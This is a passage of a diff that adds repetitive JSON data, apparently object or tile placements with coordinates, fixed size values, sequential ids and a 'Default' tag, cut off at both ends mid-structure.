+ 428.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6714,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 429.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6765,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 429.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6766,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 194.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6767,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 194.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6768,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 194.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6811,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 194.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6827,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 272.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6839,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 272.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6976,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 273.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6977,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 273.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6995,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 37.90481567382813,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6998,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 37.90481567382813,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7007,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 37.90481567382813,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7008,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 37.90481567382813,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7010,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 115.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7011,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 115.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7012,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 116.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7014,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 116.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7015,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ -119.0951843261719,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7016,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ -119.0951843261719,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7018,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ -119.0951843261719,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7019,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ -119.0951843261719,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7020,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ -41.09518432617188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7022,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ -41.09518432617188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7023,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ -40.09518432617188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7024,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ -40.09518432617188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7026,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 427.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7027,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 427.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7028,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 427.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7029,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 427.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7030,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 505.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7031,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 505.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7032,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 506.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7034,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 506.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7035,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 271.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7036,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 271.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7037,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 271.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7038,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 271.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7039,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 349.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7040,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 349.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7041,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 350.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7042,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 350.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7043,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 114.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7044,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 114.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7045,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 114.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7046,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 114.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7047,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 192.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7048,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 192.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7049,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 193.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7050,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 193.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7051,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ -42.03433227539063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7052,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ -42.03433227539063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7053,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ -42.03433227539063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7054,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ -42.03433227539063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7055,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 35.96566772460938,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7056,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 35.96566772460938,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7057,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 36.96566772460938,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7058,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 36.96566772460938,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7059,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7060,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7061,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7062,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7063,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7064,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7065,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 585,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7066,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 585,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7067,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7068,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7069,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7070,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7071,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7072,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7073,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 429,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7074,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 429,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7075,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7076,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7077,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7078,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7079,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7080,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7081,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 272,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7082,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 272,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7083,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7084,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7085,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7086,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7087,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
